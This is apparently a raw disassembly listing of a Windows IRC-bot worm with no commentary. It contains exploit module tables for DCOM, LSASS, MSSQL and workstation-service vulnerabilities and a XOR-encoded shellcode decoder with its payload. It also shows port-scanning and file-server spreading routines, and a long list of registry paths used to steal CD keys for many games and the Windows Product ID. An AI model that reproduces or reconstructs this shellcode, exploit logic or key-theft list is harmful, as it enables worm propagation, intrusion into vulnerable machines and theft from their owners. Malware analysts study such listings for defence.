		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406B85+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_4076D2+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: sub_40381E+16Do
					; sub_403E35+2DDo ...
		align 4
		dd 5 dup(0)
dword_428BF8	dd 87h							; sub_40F6F1+31C4r ...
off_428BFC	dd offset sub_403E35	; DATA XREF: sub_4076D2+1E6r
dword_428C00	dd 0							; sub_40381E+1C2r ...
dword_428C04	dd 1		dword_428C08	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 403E35h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 403E35h, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 4039EEh, 0
		dd 2 dup(1), 7361736Ch,	34345F73h, 736C0035h, 5F737361h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404737h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	404737h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	404737h, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 40381Eh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 404911h, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404969h, 0
		dd 2 dup(1), 7361736Dh,	73h, 736D0000h,	737361h, 6 dup(0)
		dd 599h, 404C15h, 0
		dd 2 dup(1), 53534B57h,	454356h, 4B570000h, 43565353h
		dd 45h,	5 dup(0)
		dd 87h,	4052BCh, 0
		dd 2 dup(1), 53534B57h,	4F4356h, 4B570000h, 43565353h
		dd 4Fh,	5 dup(0)
		dd 87h,	405306h, 0	; CODE XREF: sub_428F1A:loc_428F2Fj
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_428F2A

; =============== S U B	R O U T	I N E =======================================



sub_428F1A	proc near		; CODE XREF: sub_428F1A:loc_428F2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_428F22:				; CODE XREF: sub_428F1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_428F22
		jmp	short loc_428F2F
; ---------------------------------------------------------------------------


loc_428F2A:				; CODE XREF: ___:00428F18j
		call	sub_428F1A


loc_428F2F:				; CODE XREF: sub_428F1A+Ej
		jo	short near ptr dword_428EC8+2
		cwde
		cdq
		cdq
		retn
sub_428F1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40707C+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_40707C+42o
		align 4
unk_4290B8	db    2			; DATA XREF: sub_40707C+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4290EC	db    2			; DATA XREF: sub_407146+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42911C	db    2			; DATA XREF: sub_407146+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42914C	db    2			; DATA XREF: sub_4071BD+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_429190	db    2			; DATA XREF: sub_4071BD+307o
					; sub_40F6F1+5734o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_4291DC	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4071BD+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42921C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4071BD+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42926C	db    2			; DATA XREF: sub_4071BD+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_4292AC	db    2			; DATA XREF: sub_4071BD+DBo
					; sub_40F6F1+55B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407599+38o
					; sub_40AFAB+46o
unk_429308	db    2			; DATA XREF: sub_4076D2+EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_429340	db    2			; DATA XREF: sub_4076D2+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42938C	db    2			; DATA XREF: sub_4078E6+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_4293E0	db    2			; DATA XREF: sub_4078E6+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42942C	db    2			; DATA XREF: sub_4078E6+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_429474	db    2			; DATA XREF: sub_4078E6+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_4294BC	db    2			; DATA XREF: sub_407B45+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_429508	db    2			; DATA XREF: sub_407B45+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_429560	db    2			; DATA XREF: ___:00407E77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_4295B0	db    2			; DATA XREF: ___:00407DAEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_429604	db    2			; DATA XREF: sub_407F51+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_429644	db    2			; DATA XREF: sub_407F51+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42968C	db    2			; DATA XREF: sub_407F51+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4296E0	db    2			; DATA XREF: sub_407F51+A8o
					; sub_40F6F1+5F61o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_429718	db    2			; DATA XREF: sub_407F51+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_429768	db    2			; DATA XREF: sub_407F51+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_4297B4	db    2			; DATA XREF: sub_407F51+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_40851A+11o
aWindow		db 'Window',0           ; DATA XREF: sub_408755+23o
					; sub_40894E+26o
		align 10h
		dd 80000001h
off_429814	dd offset aSoftwareValveC ; DATA XREF: sub_408B8D+Cr
					; sub_408B8D+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_429820	dd 2 dup(0)			dd 80000001h, 42A9A8h, 42A99Ch,	42A98Ch, 2 dup(0)
		dd 80000001h, 42A96Ch, 42A968h,	42A954h, 2 dup(0)
		dd 80000001h, 42A930h, 42A968h,	42A924h, 2 dup(0)
		dd 80000001h, 42A900h, 42A8F8h,	42A8E4h, 2 dup(0)
		dd 80000001h, 42A8D0h, 42A8C0h,	42A8A4h, 2 dup(0)
		dd 80000001h, 42A860h, 42A9E8h,	42A84Ch, 2 dup(0)
		dd 80000002h, 42A820h, 42A814h,	42A7F4h, 2 dup(0)
		dd 80000002h, 42A7C0h, 42A9E8h,	42A7A8h, 2 dup(0)
		dd 80000002h, 42A774h, 42A9E8h,	42A75Ch, 2 dup(0)
		dd 80000002h, 42A744h, 42A9E8h,	42A72Ch, 2 dup(0)
		dd 80000002h, 42A6F0h, 43C63Ch,	42A6E0h, 2 dup(0)
		dd 80000002h, 42A6A8h, 43C63Ch,	42A694h, 2 dup(0)
		dd 80000002h, 42A648h, 43C63Ch,	42A628h, 2 dup(0)
		dd 80000002h, 42A5D8h, 43C63Ch,	42A5ACh, 2 dup(0)
		dd 80000002h, 42A570h, 43C63Ch,	42A55Ch, 2 dup(0)
		dd 80000002h, 42A524h, 43C63Ch,	42A514h, 2 dup(0)
		dd 80000002h, 42A4C4h, 43C63Ch,	42A498h, 2 dup(0)
		dd 80000002h, 42A458h, 43C63Ch,	42A43Ch, 2 dup(0)
		dd 80000002h, 42A40Ch, 43C63Ch,	42A3ECh, 2 dup(0)
		dd 80000002h, 42A3B0h, 43C63Ch,	42A39Ch, 2 dup(0)
		dd 80000002h, 42A354h, 43C63Ch,	42A334h, 2 dup(0)
		dd 80000002h, 42A2E0h, 43C63Ch,	42A2B0h, 2 dup(0)
		dd 80000002h, 42A260h, 43C63Ch,	42A234h, 2 dup(0)
		dd 80000002h, 42A1F4h, 42A1ECh,	42A1CCh, 2 dup(0)
		dd 80000002h, 42A188h, 43C63Ch,	42A16Ch, 2 dup(0)
		dd 80000002h, 42A120h, 43C63Ch,	42A0FCh, 2 dup(0)
		dd 80000002h, 42A0C8h, 43C63Ch,	42A0BCh, 2 dup(0)
		dd 80000002h, 42A088h, 43C63Ch,	42A07Ch, 2 dup(0)
		dd 80000002h, 42A048h, 43C63Ch,	42A03Ch, 2 dup(0)
		dd 80000002h, 42A008h, 43C63Ch,	429FFCh, 2 dup(0)
		dd 80000002h, 429FC0h, 43C63Ch,	429FACh, 2 dup(0)
		dd 80000002h, 429F70h, 43C63Ch,	429F5Ch, 2 dup(0)
		dd 80000002h, 429F2Ch, 42A9E8h,	429F10h, 2 dup(0)
		dd 80000002h, 429EF0h, 429EE8h,	429EC4h, 2 dup(0)
		dd 80000002h, 429EA8h, 429EE8h,	429E88h, 2 dup(0)
		dd 80000002h, 429E68h, 429EE8h,	429E44h, 2 dup(0)
		dd 80000002h, 429E2Ch, 429EE8h,	429E28h, 2 dup(0)
		dd 80000002h, 429E0Ch, 429DFCh,	429DF4h, 2 dup(0)
		dd 80000002h, 429DC0h, 429DBCh,	429DA4h, 2 dup(0)
		dd 80000002h, 429D68h, 429D5Ch,	429D34h, 429D24h, 429D10h
		dd 80000002h, 429CECh, 429CE0h,	429CCCh, 429CBCh, 429CB4h
		dd 80000002h, 429CECh, 429CE0h,	429C88h, 429CBCh, 429C80h
		dd 80000002h, 429CECh, 429CE0h,	429C50h, 429CBCh, 429C48h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:00430A64o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset loc_584F4D+1
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0042981Co
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00429818o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_429814o
		align 4
asc_42AA18:				; DATA XREF: sub_408B8D+E9o
					; sub_408B8D+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408B8D+8Fo
					; sub_40F6F1:loc_414142o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408B8D+7Eo
					; sub_408E5A+45o ...
		align 4
